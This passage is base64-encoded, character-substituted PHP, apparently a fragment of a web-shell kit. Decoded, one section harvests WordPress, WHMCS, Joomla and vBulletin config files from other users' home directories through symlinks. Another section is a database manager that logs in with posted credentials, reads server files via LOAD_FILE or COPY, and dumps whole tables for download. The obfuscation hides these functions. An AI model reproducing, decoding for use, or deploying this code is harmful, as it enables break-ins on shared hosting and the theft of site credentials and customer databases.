JSUk2bDYpOw0KJElJSUlJSUlJSTY2bD0kSUlJSUlJSUlJNjZJWzBdOw0KJElJSUlJSUlJSTY2Nj0kSUlJSUlJSUlJSUlsLicvc3ltL3IyMnQvaDJtNS8nLiRJSUlJSUlJSUk2STZbJ24xbTUnXS4nL3AzYmw0Y19odG1sL2JsMmcvd3AtYzJuZjRnLnBocCc7DQokSUlJSUlJSUlsSUlJPWc1dF9oNTFkNXJzKCRJSUlJSUlJSUk2NjYpOw0KJElJSUlJSUlJbElJbD0kSUlJSUlJSUlsSUlJWzBdOw0KJElJSUlJSUlJbElJNj0kSUlJSUlJSUlJSUlsLicvc3ltL3IyMnQvaDJtNS8nLiRJSUlJSUlJSUk2STZbJ24xbTUnXS4nL3AzYmw0Y19odG1sL2MybmY0ZzNyMXQ0Mm4ucGhwJzsNCiRJSUlJSUlJSWxJbEk9ZzV0X2g1MWQ1cnMoJElJSUlJSUlJbElJNik7DQokSUlJSUlJSUlsSWxsPSRJSUlJSUlJSWxJbElbMF07DQokSUlJSUlJSUlsSWw2PSRJSUlJSUlJSUlJSWwuJy9zeW0vcjIydC9oMm01LycuJElJSUlJSUlJSTZJNlsnbjFtNSddLicvcDNibDRjX2h0bWwvajIybWwxL2MybmY0ZzNyMXQ0Mm4ucGhwJzsNCiRJSUlJSUlJSWxJNkk9ZzV0X2g1MWQ1cnMoJElJSUlJSUlJbElsNik7DQokSUlJSUlJSUlsSTZsPSRJSUlJSUlJSWxJNklbMF07DQokSUlJSUlJSUlsSTY2PSRJSUlJSUlJSUlJSWwuJy9zeW0vcjIydC9oMm01LycuJElJSUlJSUlJSTZJNlsnbjFtNSddLicvcDNibDRjX2h0bWwvNG5jbDNkNXMvYzJuZjRnLnBocCc7DQokSUlJSUlJSUlsbElJPWc1dF9oNTFkNXJzKCRJSUlJSUlJSWxJNjYpOw0KJElJSUlJSUlJbGxJbD0kSUlJSUlJSUlsbElJWzBdOw0KJElJSUlJSUlJbGxJNj0kSUlJSUlJSUlJSUlsLicvc3ltL3IyMnQvaDJtNS8nLiRJSUlJSUlJSUk2STZbJ24xbTUnXS4nL3AzYmw0Y19odG1sL3ZiLzRuY2wzZDVzL2MybmY0Zy5waHAnOw0KJElJSUlJSUlJbGxsST1nNXRfaDUxZDVycygkSUlJSUlJSUlsbEk2KTsNCiRJSUlJSUlJSWxsbGw9JElJSUlJSUlJbGxsSVswXTsNCiRJSUlJSUlJSWxsbDY9JElJSUlJSUlJSUlJbC4nL3N5bS9yMjJ0L2gybTUvJy4kSUlJSUlJSUlJNkk2WyduMW01J10uJy9wM2JsNGNfaHRtbC9mMnIzbS80bmNsM2Q1cy9jMm5mNGcucGhwJzsNCiRJSUlJSUlJSWxsNkk9ZzV0X2g1MWQ1cnMoJElJSUlJSUlJbGxsNik7DQokSUlJSUlJSUlsbDZsPSRJSUlJSUlJSWxsNklbMF07DQokSUlJSUlJSUlsbDY2PSRJSUlJSUlJSUlJSWwuJy9zeW0vcjIydC9oMm01LycuJElJSUlJSUlJSTZJNlsnbjFtNSddLidwM2JsNGNfaHRtbC9jbDQ1bnRzL2MybmY0ZzNyMXQ0Mm4ucGhwJzsNCiRJSUlJSUlJSWw2SUk9ZzV0X2g1MWQ1cnMoJElJSUlJSUlJbGw2Nik7DQokSUlJSUlJSUlsNklsPSRJSUlJSUlJSWw2SUlbMF07DQokSUlJSUlJSUlsNkk2PSRJSUlJSUlJSUlJSWwuJy9zeW0vcjIydC9oMm01LycuJElJSUlJSUlJSTZJNlsnbjFtNSddLicvcDNibDRjX2h0bWwvczNwcDJydC9jMm5mNGczcjF0NDJuLnBocCc7DQokSUlJSUlJSUlsNklJPWc1dF9oNTFkNXJzKCRJSUlJSUlJSWw2STYpOw0KJElJSUlJSUlJbDZsST0kSUlJSUlJSUlsNklJWzBdOw0KJElJSUlJSUlJbDZsbD0kSUlJSUlJSUlJSUlsLicvc3ltL3IyMnQvaDJtNS8nLiRJSUlJSUlJSUk2STZbJ24xbTUnXS4nL3AzYmw0Y19odG1sL2NsNDVudC9jMm5mNGczcjF0NDJuLnBocCc7DQokSUlJSUlJSUlsNmw2PWc1dF9oNTFkNXJzKCRJSUlJSUlJSWw2bGwpOw0KJElJSUlJSUlJbDY2ST0kSUlJSUlJSUlsNmw2WzBdOw0KJElJSUlJSUlJbDY2bD0kSUlJSUlJSUlJSUlsLicvc3ltL3IyMnQvaDJtNS8nLiRJSUlJSUlJSUk2STZbJ24xbTUnXS4nL3AzYmw0Y19odG1sL3MzYm00dHQ0Y2s1dC5waHAnOw0KJElJSUlJSUlJbDY2Nj1nNXRfaDUxZDVycygkSUlJSUlJSUlsNjZsKTsNCiRJSUlJSUlJSTZJSUk9JElJSUlJSUlJbDY2NlswXTsNCiRJSUlJSUlJSTZJSWw9JElJSUlJSUlJSUlJbC4nL3N5bS9yMjJ0L2gybTUvJy4kSUlJSUlJSUlJNkk2WyduMW01J10uJy9wM2JsNGNfaHRtbC9jbDQ1bnQvYzJuZjRnM3IxdDQybi5waHAnOw0KJElJSUlJSUlJNklJNj1nNXRfaDUxZDVycygkSUlJSUlJSUk2SUlsKTsNCiRJSUlJSUlJSTZJbEk9JElJSUlJSUlJNklJNlswXTsNCiRJSUlJSUlJSTZJbGwgPSBzdHJwMnMoJElJSUlJSUlJSTY2bCwnYTAwJyk7DQokSUlJSUlJSUk2STZJPScmbmJzcDsnOw0KNGYgKHN0cnAycygkSUlJSUlJSUlJNjZsLCdhMDAnKSA9PSB0cjM1ICkNCnsNCiRJSUlJSUlJSTZJNkk9IjwxIGhyNWY9JyIuJElJSUlJSUlJSTZsNi4iJyB0MXJnNXQ9J19ibDFuayc+VzJyZHByNXNzPC8xPiI7DQp9DQo1bHM1NGYgKHN0cnAycygkSUlJSUlJSUlsSUlsLCdhMDAnKSA9PSB0cjM1KQ0Kew0KJElJSUlJSUlJNkk2ST0iPDEgaHI1Zj0nIi4kSUlJSUlJSUlJNjY2LiInIHQxcmc1dD0nX2JsMW5rJz5XMnJkcHI1c3M8LzE+IjsNCn0NCjVsczU0ZiAoc3RycDJzKCRJSUlJSUlJSWxJbGwsJ2EwMCcpICA9PSB0cjM1IDFuZCBzdHJwMnMoJElJSUlJSUlJNklJSSwnYTAwJykgID09IHRyMzUgKQ0Kew0KJElJSUlJSUlJNkk2ST0iIDwxIGhyNWY9JyIuJElJSUlJSUlJbDY2bC4iJyB0MXJnNXQ9J19ibDFuayc+V0hNQ1M8LzE+IjsNCn0NCjVsczU0ZiAoc3RycDJzKCRJSUlJSUlJSWw2bEksJ2EwMCcpICA9PSB0cjM1KQ0Kew0KJElJSUlJSUlJNkk2SSA9IiA8MSBocjVmPSciLiRJSUlJSUlJSWw2STYuIicgdDFyZzV0PSdfYmwxbmsnPldITUNTPC8xPiI7DQp9DQo1bHM1NGYgKHN0cnAycygkSUlJSUlJSUlsNjZJLCdhMDAnKSAgPT0gdHIzNSkNCnsNCiRJSUlJSUlJSTZJNkkgPSIgPDEgaHI1Zj0nIi4kSUlJSUlJSUlsNmxsLiInIHQxcmc1dD0nX2JsMW5rJz5XSE1DUzwvMT4iOw0KfQ0KNWxzNTRmIChzdHJwMnMoJElJSUlJSUlJbElsbCwnYTAwJykgID09IHRyMzUpDQp7DQokSUlJSUlJSUk2STZJPSIgPDEgaHI1Zj0nIi4kSUlJSUlJSUlsSUk2LiInIHQxcmc1dD0nX2JsMW5rJz5KMjJtbDE8LzE+IjsNCn0NCjVsczU0ZiAoc3RycDJzKCRJSUlJSUlJSWxJNmwsJ2EwMCcpICA9PSB0cjM1KQ0Kew0KJElJSUlJSUlJNkk2ST0iIDwxIGhyNWY9JyIuJElJSUlJSUlJbElsNi4iJyB0MXJnNXQ9J19ibDFuayc+SjIybWwxPC8xPiI7DQp9DQo1bHM1NGYgKHN0cnAycygkSUlJSUlJSUlsbElsLCdhMDAnKSAgPT0gdHIzNSkNCnsNCiRJSUlJSUlJSTZJNkk9IiA8MSBocjVmPSciLiRJSUlJSUlJSWxJNjYuIicgdDFyZzV0PSdfYmwxbmsnPnZCM2xsNXQ0bjwvMT4iOw0KfQ0KNWxzNTRmIChzdHJwMnMoJElJSUlJSUlJbGxsbCwnYTAwJykgID09IHRyMzUpDQp7DQokSUlJSUlJSUk2STZJPSIgPDEgaHI1Zj0nIi4kSUlJSUlJSUlsbEk2LiInIHQxcmc1dD0nX2JsMW5rJz52QjNsbDV0NG48LzE+IjsNCn0NCjVsczU0ZiAoc3RycDJzKCRJSUlJSUlJSWxsNmwsJ2EwMCcpICA9PSB0cjM1KQ0Kew0KJElJSUlJSUlJNkk2ST0iIDwxIGhyNWY9JyIuJElJSUlJSUlJbGxsNi4iJyB0MXJnNXQ9J19ibDFuayc+dkIzbGw1dDRuPC8xPiI7DQp9DQo1bHM1DQp7DQpjMm50NG4zNTsNCn0NCiRJSUlJSUlJSTZJNmwgPSAkSUlJSUlJSUlJNkk2WyduMW01J10gOw0KNWNoMiAnPHRyPjx0ZD48MSBocjVmPWh0dHA6Ly93d3cuJy4kSUlJSUlJSUlJbDY2WzZdWzBdLicvPicuJElJSUlJSUlJSWw2Nls2XVswXS4nPC8xPjwvdGQ+DQo8dGQ+Jy4kSUlJSUlJSUk2STZJLic8L3RkPjwvdHI+JztmbDNzaCgpOw0KfQ0KfQ0KfQ0KfQ0KNWNoMiAiPC9jNW50NXI+PC90MWJsNT4iOyAgIA0KICAgIA0KIH0NCiAgICANCiAgICA1Y2gyICI8L2Q0dj4iOw0KICAgIG0xZGYyMnQ1cigpOw0KICAgIA0KfSAgICANCg0KDQpmM25jdDQybiBtMWRzcWwoKQ0Kew0KICAgIA0KICAgIA0KICAgIGNsMXNzIERiQ2wxc3Mgew0KCQl2MXIgJHR5cDU7DQoJCXYxciAkbDRuazsNCgkJdjFyICRyNXM7DQoJCWYzbmN0NDJuIERiQ2wxc3MoJHR5cDUpCXsNCgkJCSR0aDRzLT50eXA1ID0gJHR5cDU7DQoJCX0NCgkJZjNuY3Q0Mm4gYzJubjVjdCgkaDJzdCwgJDNzNXIsICRwMXNzLCAkZGJuMW01KXsNCgkJCXN3NHRjaCgkdGg0cy0+dHlwNSkJew0KCQkJCWMxczUgJ215c3FsJzoNCgkJCQkJNGYoICR0aDRzLT5sNG5rID0gQG15c3FsX2Mybm41Y3QoJGgyc3QsJDNzNXIsJHAxc3MsdHIzNSkgKSByNXQzcm4gdHIzNTsNCgkJCQkJYnI1MWs7DQoJCQkJYzFzNSAncGdzcWwnOg0KCQkJCQkkaDJzdCA9IDV4cGwyZDUoJzonLCAkaDJzdCk7DQoJCQkJCTRmKCEkaDJzdFs2XSkgJGgyc3RbNl09aXVvYTsNCgkJCQkJNGYoICR0aDRzLT5sNG5rID0gQHBnX2Mybm41Y3QoImgyc3Q9eyRoMnN0WzBdfSBwMnJ0PXskaDJzdFs2XX0gM3M1cj0kM3M1ciBwMXNzdzJyZD0kcDFzcyBkYm4xbTU9JGRibjFtNSIpICkgcjV0M3JuIHRyMzU7DQoJCQkJCWJyNTFrOw0KCQkJfQ0KCQkJcjV0M3JuIGYxbHM1Ow0KCQl9DQoJCWYzbmN0NDJuIHM1bDVjdGRiKCRkYikgew0KCQkJc3c0dGNoKCR0aDRzLT50eXA1KQl7DQoJCQkJYzFzNSAnbXlzcWwnOg0KCQkJCQk0ZiAoQG15c3FsX3M1bDVjdF9kYigkZGIpKXI1dDNybiB0cjM1Ow0KCQkJCQlicjUxazsNCgkJCX0NCgkJCXI1dDNybiBmMWxzNTsNCgkJfQ0KCQlmM25jdDQybiBxMzVyeSgkc3RyKSB7DQoJCQlzdzR0Y2goJHRoNHMtPnR5cDUpIHsNCgkJCQljMXM1ICdteXNxbCc6DQoJCQkJCXI1dDNybiAkdGg0cy0+cjVzID0gQG15c3FsX3EzNXJ5KCRzdHIpOw0KCQkJCQlicjUxazsNCgkJCQljMXM1ICdwZ3NxbCc6DQoJCQkJCXI1dDNybiAkdGg0cy0+cjVzID0gQHBnX3EzNXJ5KCR0aDRzLT5sNG5rLCRzdHIpOw0KCQkJCQlicjUxazsNCgkJCX0NCgkJCXI1dDNybiBmMWxzNTsNCgkJfQ0KCQlmM25jdDQybiBmNXRjaCgpIHsNCgkJCSRyNXMgPSBmM25jX24zbV8xcmdzKCk/ZjNuY19nNXRfMXJnKDApOiR0aDRzLT5yNXM7DQoJCQlzdzR0Y2goJHRoNHMtPnR5cDUpCXsNCgkJCQljMXM1ICdteXNxbCc6DQoJCQkJCXI1dDNybiBAbXlzcWxfZjV0Y2hfMXNzMmMoJHI1cyk7DQoJCQkJCWJyNTFrOw0KCQkJCWMxczUgJ3Bnc3FsJzoNCgkJCQkJcjV0M3JuIEBwZ19mNXRjaF8xc3MyYygkcjVzKTsNCgkJCQkJYnI1MWs7DQoJCQl9DQoJCQlyNXQzcm4gZjFsczU7DQoJCX0NCgkJZjNuY3Q0Mm4gbDRzdERicygpIHsNCgkJCXN3NHRjaCgkdGg0cy0+dHlwNSkJew0KCQkJCWMxczUgJ215c3FsJzoNCiAgICAgICAgICAgICAgICAgICAgICAgIHI1dDNybiAkdGg0cy0+cTM1cnkoIlNIT1cgZDF0MWIxczVzIik7DQoJCQkJYnI1MWs7DQoJCQkJYzFzNSAncGdzcWwnOg0KCQkJCQlyNXQzcm4gJHRoNHMtPnI1cyA9ICR0aDRzLT5xMzVyeSgiU0VMRUNUIGQxdG4xbTUgRlJPTSBwZ19kMXQxYjFzNSBXSEVSRSBkMXQ0c3Q1bXBsMXQ1IT0ndCciKTsNCgkJCQlicjUxazsNCgkJCX0NCgkJCXI1dDNybiBmMWxzNTsNCgkJfQ0KCQlmM25jdDQybiBsNHN0VDFibDVzKCkgew0KCQkJc3c0dGNoKCR0aDRzLT50eXA1KQl7DQoJCQkJYzFzNSAnbXlzcWwnOg0KCQkJCQlyNXQzcm4gJHRoNHMtPnI1cyA9ICR0aDRzLT5xMzVyeSgnU0hPVyBUQUJMRVMnKTsNCgkJCQlicjUxazsNCgkJCQljMXM1ICdwZ3NxbCc6DQoJCQkJCXI1dDNybiAkdGg0cy0+cjVzID0gJHRoNHMtPnEzNXJ5KCJzNWw1Y3QgdDFibDVfbjFtNSBmcjJtIDRuZjJybTF0NDJuX3NjaDVtMS50MWJsNXMgd2g1cjUgdDFibDVfc2NoNW0xICE9ICc0bmYycm0xdDQybl9zY2g1bTEnIEFORCB0MWJsNV9zY2g1bTEgIT0gJ3BnX2MxdDFsMmcnIik7DQoJCQkJYnI1MWs7DQoJCQl9DQoJCQlyNXQzcm4gZjFsczU7DQoJCX0NCgkJZjNuY3Q0Mm4gNXJyMnIoKSB7DQoJCQlzdzR0Y2goJHRoNHMtPnR5cDUpCXsNCgkJCQljMXM1ICdteXNxbCc6DQoJCQkJCXI1dDNybiBAbXlzcWxfNXJyMnIoKTsNCgkJCQlicjUxazsNCgkJCQljMXM1ICdwZ3NxbCc6DQoJCQkJCXI1dDNybiBAcGdfbDFzdF81cnIycigpOw0KCQkJCWJyNTFrOw0KCQkJfQ0KCQkJcjV0M3JuIGYxbHM1Ow0KCQl9DQoJCWYzbmN0NDJuIHM1dENoMXJzNXQoJHN0cikgew0KCQkJc3c0dGNoKCR0aDRzLT50eXA1KQl7DQoJCQkJYzFzNSAnbXlzcWwnOg0KCQkJCQk0ZihmM25jdDQybl81eDRzdHMoJ215c3FsX3M1dF9jaDFyczV0JykpDQoJCQkJCQlyNXQzcm4gQG15c3FsX3M1dF9jaDFyczV0KCRzdHIsICR0aDRzLT5sNG5rKTsNCgkJCQkJNWxzNQ0KCQkJCQkJJHRoNHMtPnEzNXJ5KCdTRVQgQ0hBUlNFVCAnLiRzdHIpOw0KCQkJCQlicjUxazsNCgkJCQljMXM1ICdwZ3NxbCc6DQoJCQkJCXI1dDNybiBAcGdfczV0X2NsNDVudF81bmMyZDRuZygkdGg0cy0+bDRuaywgJHN0cik7DQoJCQkJCWJyNTFrOw0KCQkJfQ0KCQkJcjV0M3JuIGYxbHM1Ow0KCQl9DQoJCWYzbmN0NDJuIGwyMWRGNGw1KCRzdHIpIHsNCgkJCXN3NHRjaCgkdGg0cy0+dHlwNSkJew0KCQkJCWMxczUgJ215c3FsJzoNCgkJCQkJcjV0M3JuICR0aDRzLT5mNXRjaCgkdGg0cy0+cTM1cnkoIlNFTEVDVCBMT0FEX0ZJTEUoJyIuMWRkc2wxc2g1cygkc3RyKS4iJykgMXMgZjRsNSIpKTsNCgkJCQlicjUxazsNCgkJCQljMXM1ICdwZ3NxbCc6DQoJCQkJCSR0aDRzLT5xMzVyeSgiQ1JFQVRFIFRBQkxFIHdzMmEoZjRsNSB0NXh0KTtDT1BZIHdzMmEgRlJPTSAnIi4xZGRzbDFzaDVzKCRzdHIpLiInO3M1bDVjdCBmNGw1IGZyMm0gd3MyYTsiKTsNCgkJCQkJJHI9MXJyMXkoKTsNCgkJCQkJd2g0bDUoJDQ9JHRoNHMtPmY1dGNoKCkpDQoJCQkJCQkkcltdID0gJDRbJ2Y0bDUnXTsNCgkJCQkJJHRoNHMtPnEzNXJ5KCdkcjJwIHQxYmw1IHdzMmEnKTsNCgkJCQkJcjV0M3JuIDFycjF5KCdmNGw1Jz0+NG1wbDJkNSgiXG4iLCRyKSk7DQoJCQkJYnI1MWs7DQoJCQl9DQoJCQlyNXQzcm4gZjFsczU7DQoJCX0NCgkJZjNuY3Q0Mm4gZDNtcCgkdDFibDUsICRmcCA9IGYxbHM1KSB7DQoJCQlzdzR0Y2goJHRoNHMtPnR5cDUpCXsNCgkJCQljMXM1ICdteXNxbCc6DQoJCQkJCSRyNXMgPSAkdGg0cy0+cTM1cnkoJ1NIT1cgQ1JFQVRFIFRBQkxFIGAnLiR0MWJsNS4nYCcpOw0KCQkJCQkkY3I1MXQ1ID0gbXlzcWxfZjV0Y2hfMXJyMXkoJHI1cyk7DQoJCQkJCSRzcWwgPSAkY3I1MXQ1WzZdLiI7XG4iOw0KICAgICAgICAgICAgICAgICAgICA0ZigkZnApIGZ3cjR0NSgkZnAsICRzcWwpOyA1bHM1IDVjaDIoJHNxbCk7DQoJCQkJCSR0aDRzLT5xMzVyeSgnU0VMRUNUICogRlJPTSBgJy4kdDFibDUuJ2AnKTsNCiAgICAgICAgICAgICAgICAgICAgJGg1MWQgPSB0cjM1Ow0KCQkJCQl3aDRsNSgkNHQ1bSA9ICR0aDRzLT5mNXRjaCgpKSB7DQoJCQkJCQkkYzJsM21ucyA9IDFycjF5KCk7DQoJCQkJCQlmMnI1MWNoKCQ0dDVtIDFzICRrPT4kdikgew0KICAgICAgICAgICAgICAgICAgICAgICAgICAgIDRmKCR2ID09IG4zbGwpDQogICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICQ0dDVtWyRrXSA9ICJOVUxMIjsNCiAgICAgICAgICAgICAgICAgICAgICAgICAgICA1bHM1NGYoNHNfbjNtNXI0YygkdikpDQogICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICQ0dDVtWyRrXSA9ICR2Ow0KICAgICAgICAgICAgICAgICAgICAgICAgICAgIDVsczUNCiAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgJDR0NW1bJGtdID0gIiciLkBteXNxbF9yNTFsXzVzYzFwNV9zdHI0bmcoJHYpLiInIjsNCgkJCQkJCQkkYzJsM21uc1tdID0gImAiLiRrLiJgIjsNCgkJCQkJCX0NCiAgICAgICAgICAgICAgICAgICAgICAgIDRmKCRoNTFkKSB7DQogICAgICAgICAgICAgICAgICAgICAgICAgICAgJHNxbCA9ICdJTlNFUlQgSU5UTyBgJy4kdDFibDUuJ2AgKCcuNG1wbDJkNSgiLCAiLCAkYzJsM21ucykuIikgVkFMVUVTIFxuXHQoIi40bXBsMmQ1KCIsICIsICQ0dDVtKS4nKSc7DQogICAgICAgICAgICAgICAgICAgICAgICAgICAgJGg1MWQgPSBmMWxzNTsNCiAgICAgICAgICAgICAgICAgICAgICAgIH0gNWxzNQ0KICAgICAgICAgICAgICAgICAgICAgICAgICAgICRzcWwgPSAiXG5cdCwoIi40bXBsMmQ1KCIsICIsICQ0dDVtKS4nKSc7DQogICAgICAgICAgICAgICAgICAgICAgICA0ZigkZnApIGZ3cjR0NSgkZnAsICRzcWwpOyA1bHM1IDVjaDIoJHNxbCk7DQoJCQkJCX0NCiAgICAgICAgICAgICAgICAgICAgNGYoISRoNTFkKQ0KICAgICAgICAgICAgICAgICAgICAgICAgNGYoJGZwKSBmd3I0dDUoJGZwLCAiO1xuXG4iKTsgNWxzNSA1Y2gyKCI7XG5cbiIpOw0KCQkJCWJyNTFrOw0KCQkJCWMxczUgJ3Bnc3FsJzoNCgkJCQkJJHRoNHMtPnEzNXJ5KCdTRUxFQ1QgKiBGUk9NICcuJHQxYmw1KTsNCgkJCQkJd2g0bDUoJDR0NW0gPSAkdGg0cy0+ZjV0Y2goKSkgew0KCQkJCQkJJGMybDNtbnMgPSAxcnIxeSgpOw0KCQkJCQkJZjJyNTFjaCgkNHQ1bSAxcyAkaz0+JHYpIHsNCgkJCQkJCQkkNHQ1bVska10gPSAiJyIuMWRkc2wxc2g1cygkdikuIiciOw0KCQkJCQkJCSRjMmwzbW5zW10gPSAkazsNCgkJCQkJCX0NCiAgICAgICAgICAgICAgICAgICAgICAgICRzcWwgPSAnSU5TRVJUIElOVE8gJy4kdDFibDUuJyAoJy40bXBsMmQ1KCIsICIsICRjMmwzbW5zKS4nKSBWQUxVRVMgKCcuNG1wbDJkNSgiLCAiLCAkNHQ1bSkuJyk7Jy4iXG4iOw0KICAgICAgICAgICAgICAgICAgICAgICAgNGYoJGZwKSBmd3I0dDUoJGZwLCAkc3FsKTsgNWxzNSA1Y2gyKCRzcWwpOw0KCQkJCQl9DQoJCQkJYnI1MWs7DQoJCQl9DQoJCQlyNXQzcm4gZjFsczU7DQoJCX0NCgl9Ow0KCSRkYiA9IG41dyBEYkNsMXNzKCRfUE9TVFsndHlwNSddKTsNCgk0ZihAJF9QT1NUWydwYSddPT0nZDJ3bmwyMWQnKSB7DQoJCSRkYi0+YzJubjVjdCgkX1BPU1RbJ3NxbF9oMnN0J10sICRfUE9TVFsnc3FsX2wyZzRuJ10sICRfUE9TVFsnc3FsX3Axc3MnXSwgJF9QT1NUWydzcWxfYjFzNSddKTsNCgkJJGRiLT5zNWw1Y3RkYigkX1BPU1RbJ3NxbF9iMXM1J10pOw0KICAgICAgICBzdzR0Y2goJF9QT1NUWydjaDFyczV0J10pIHsNCiAgICAgICAgICAgIGMxczUgIlc0bmQyd3MtNmFpNiI6ICRkYi0+czV0Q2gxcnM1dCgnY3A2YWk2Jyk7IGJyNTFrOw0KICAgICAgICAgICAgYzFzNSAiVVRGLTgiOiAkZGItPnM1dENoMXJzNXQoJzN0ZjgnKTsgYnI1MWs7DQogICAgICAgICAgICBjMXM1ICJLT0k4LVIiOiAkZGItPnM1dENoMXJzNXQoJ2syNDhyJyk7IGJyNTFrOw0KICAgICAgICAgICAgYzFzNSAiS09JOC1VIjogJGRiLT5zNXRDaDFyczV0KCdrMjQ4MycpOyBicjUxazsNCiAgICAgICAgICAgIGMxczUgImNwOGVlIjogJGRiLT5zNXRDaDFyczV0KCdjcDhlZScpOyBicjUxazsNCiAgICAgICAgfQ0KICAgICAgICA0Zig1bXB0eSgkX1BPU1RbJ2Y0bDUnXSkpIHsNCiAgICAgICAgICAgIDJiX3N0MXJ0KCIyYl9nemgxbmRsNXIiLCB1MDllKTsNCiAgICAgICAgICAgIGg1MWQ1cigiQzJudDVudC1ENHNwMnM0dDQybjogMXR0MWNobTVudDsgZjRsNW4xbTU9ZDNtcC5zcWwiKTsNCiAgICAgICAgICAgIGg1MWQ1cigiQzJudDVudC1UeXA1OiB0NXh0L3BsMTRuIik7DQogICAgICAgICAgICBmMnI1MWNoKCRfUE9TVFsndGJsJ10gMXMgJHYpDQoJCQkJJGRiLT5kM21wKCR2KTsNCiAgICAgICAgICAgIDV4NHQ7DQogICAgICAgIH0gNWxzNTRmKCRmcCA9IEBmMnA1bigkX1BPU1RbJ2Y0bDUnXSwgJ3cnKSkgew0KICAgICAgICAgICAgZjJyNTFjaCgkX1BPU1RbJ3RibCddIDFzICR2KQ0KICAgICAgICAgICAgICAgICRkYi0+ZDNtcCgkdiwgJGZwKTsNCiAgICAgICAgICAgIGZjbDJzNSgkZnApOw0KICAgICAgICAgICAgM25zNXQoJF9QT1NUWydwYSddKTsNCiAgICAgICAgfSA1bHM1DQogICAgICAgICAgICBkNDUoJzxzY3I0cHQ+MWw1cnQoIkVycjJyISBDMW5cJ3QgMnA1biBmNGw1Iik7dzRuZDJ3Lmg0c3QycnkuYjFjaygtNik8L3NjcjRwdD4nKTsNCgl9DQoJbTFkaDUxZCgpOw0KCTVjaDIgIg0KPGQ0diBjbDFzcz1oNTFkNXI+DQo8ZjJybSBuMW01PSdzZicgbTV0aDJkPSdwMnN0JyAybnMzYm00dD0nZnModGg0cyk7Jz48dDFibDUgYzVsbHAxZGQ0bmc9J2EnIGM1bGxzcDFjNG5nPScwJz48dHI+DQo8dGQ+VHlwNTwvdGQ+PHRkPkgyc3Q8L3RkPjx0ZD5MMmc0bjwvdGQ+PHRkPlAxc3N3MnJkPC90ZD48dGQ+RDF0MWIxczU8L3RkPjx0ZD48L3RkPjwvdHI+PHRyPg0KPDRucDN0IHR5cDU9aDRkZDVuIG4xbTU9MSB2MWwzNT1TcWw+PDRucDN0IHR5cDU9aDRkZDVuIG4xbTU9cDYgdjFsMzU9J3EzNXJ5Jz48NG5wM3QgdHlwNT1oNGRkNW4gbjFtNT1wYSB2MWwzNT0nJz48NG5wM3QgdHlwNT1oNGRkNW4gbjFtNT1jIHYxbDM1PSciLiBodG1sc3A1YzQxbGNoMXJzKCRHTE9CQUxTWydjd2QnXSkgLiInPjw0bnAzdCB0eXA1PWg0ZGQ1biBuMW01PWNoMXJzNXQgdjFsMzU9JyIuICg0c3M1dCgkX1BPU1RbJ2NoMXJzNXQnXSk/JF9QT1NUWydjaDFyczV0J106JycpIC4iJz4NCjx0ZD48czVsNWN0IG4xbTU9J3R5cDUnPjwycHQ0Mm4gdjFsMzU9J215c3FsJyAiOw0KICAgIDRmKEAkX1BPU1RbJ3R5cDUnXT09J215c3FsJyk1Y2gyICdzNWw1Y3Q1ZCc7DQo1Y2gyICI+TXlTcWw8LzJwdDQybj48MnB0NDJuIHYxbDM1PSdwZ3NxbCcgIjsNCjRmKEAkX1BPU1RbJ3R5cDUnXT09J3Bnc3FsJyk1Y2gyICdzNWw1Y3Q1ZCc7DQo1Y2gyICI+UDJzdGdyNVNxbDwvMnB0NDJuPjwvczVsNWN0PjwvdGQ+DQo8dGQ+PDRucDN0IHR5cDU9dDV4dCBuMW01PXNxbF9oMnN0IHYxbDM1PSciLiAoNW1wdHkoJF9QT1NUWydzcWxfaDJzdCddKT8nbDJjMWxoMnN0JzpodG1sc3A1YzQxbGNoMXJzKCRfUE9TVFsnc3FsX2gyc3QnXSkpIC4iJz48L3RkPg0KPHRkPjw0bnAzdCB0eXA1PXQ1eHQgbjFtNT1zcWxfbDJnNG4gdjFsMzU9JyIuICg1bXB0eSgkX1BPU1RbJ3NxbF9sMmc0biddKT8ncjIydCc6aHRtbHNwNWM0MWxjaDFycygkX1BPU1RbJ3NxbF9sMmc0biddKSkgLiInPjwvdGQ+DQo8dGQ+PDRucDN0IHR5cDU9dDV4dCBuMW01PXNxbF9wMXNzIHYxbDM1PSciLiAoNW1wdHkoJF9QT1NUWydzcWxfcDFzcyddKT8nJzpodG1sc3A1YzQxbGNoMXJzKCRfUE9TVFsnc3FsX3Axc3MnXSkpIC4iJz48L3RkPjx0ZD4iOw0KCSR0bXAgPSAiPDRucDN0IHR5cDU9dDV4dCBuMW01PXNxbF9iMXM1IHYxbDM1PScnPiI7DQoJNGYoNHNzNXQoJF9QT1NUWydzcWxfaDJzdCddKSl7DQoJCTRmKCRkYi0+YzJubjVjdCgkX1BPU1RbJ3NxbF9oMnN0J10sICRfUE9TVFsnc3FsX2wyZzRuJ10sICRfUE9TVFsnc3FsX3Axc3MnXSwgJF9QT1NUWydzcWxfYjFzNSddKSkgew0KCQkJc3c0dGNoKCRfUE9TVFsnY2gxcnM1dCddKSB7DQoJCQkJYzFzNSAiVzRuZDJ3cy02YWk2IjogJGRiLT5zNXRDaDFyczV0KCdjcDZhaTYnKTsgYnI1MWs7DQoJCQkJYzFzNSAiVVRGLTgiOiAkZGItPnM1dENoMXJzNXQoJzN0ZjgnKTsgYnI1MWs7DQoJCQkJYzFzNSAiS09JOC1SIjogJGRiLT5zNXRDaDFyczV0KCdrMjQ4cicpOyBicjUxazsNCgkJCQljMXM1ICJLT0k4LVUiOiAkZGItPnM1dENoMXJzNXQoJ2syNDgzJyk7IGJyNTFrOw0KCQkJCWMxczUgImNwOGVlIjogJGRiLT5zNXRDaDFyczV0KCdjcDhlZScpOyBicjUxazsNCgkJCX0NCgkJCSRkYi0+bDRzdERicygpOw0KCQkJNWNoMiAiPHM1bDVjdCBuMW01PXNxbF9iMXM1PjwycHQ0Mm4gdjFsMzU9Jyc+PC8ycHQ0Mm4+IjsNCgkJCXdoNGw1KCQ0dDVtID0gJGRiLT5mNXRjaCgpKSB7DQoJCQkJbDRzdCgkazV5LCAkdjFsMzUpID0gNTFjaCgkNHQ1bSk7DQoJCQkJNWNoMiAnPDJwdDQybiB2MWwzNT0iJy4kdjFsMzUuJyIgJy4oJHYxbDM1PT0kX1BPU1RbJ3NxbF9iMXM1J10/J3M1bDVjdDVkJzonJykuJz4nLiR2MWwzNS4nPC8ycHQ0Mm4+JzsNCgkJCX0NCgkJCTVjaDIgJzwvczVsNWN0Pic7DQoJCX0NCgkJNWxzNSA1Y2gyICR0bXA7DQ